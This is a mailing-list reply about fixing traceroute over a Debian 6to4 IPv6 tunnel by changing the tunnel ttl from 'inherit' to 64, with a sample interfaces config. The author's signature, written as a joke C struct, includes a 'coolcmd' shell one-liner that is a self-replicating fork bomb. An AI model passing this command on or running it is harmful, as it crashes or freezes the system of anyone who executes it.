Re: Quick 'n' Easy IPv6 for Debian
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Once upon a midnight dreary, John Goerzen pondered, weak and weary:
> I've had a lot of trouble making traceroute/tracepath work over 6to4.
> Here's what I get:
> wile:~# tracepath6 www.netbsd.org
> 1?: [LOCALHOST] pmtu 1480
> 1: <local router address snipped> 1. 52ms
> 2: no reply
[...]
> 20: no reply
> 21: www.netbsd.org asymm 7 151.
I had that problem until I fixed the ttl setting. ttl inherit bad, ttl !=
inherit good.
$ ip t l
fnordipv6: ipv6/ip remote 2.1.1.2 local any ttl 64
I've noted that in debian woody, the "ttl inherit" seems to be default. So
in /etc/network/interfaces, under your inet6 thing, if you have it there,
add:
"up ip tunnel change fnordipv6 ttl 64"
Here's my whole "default route" tunnel config, with addresses changed:
- ---
auto fnordipv6
iface fnordipv6 inet6 v4tunnel
address 2001:b00b:b00b:b00b::2
netmask 64
endpoint 2.1.1.2
up ip link set mtu 1280 dev fnordipv6
up ip route add 2000::/3 via 2001:b00b:b00b:b00b::1 dev fnordipv6
up ip tunnel change fnordipv6 ttl 64
- ---------
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "thomas@habets.pp.se" };
char kernel[] = { "Linux 2.4" };
char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt"; };
char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
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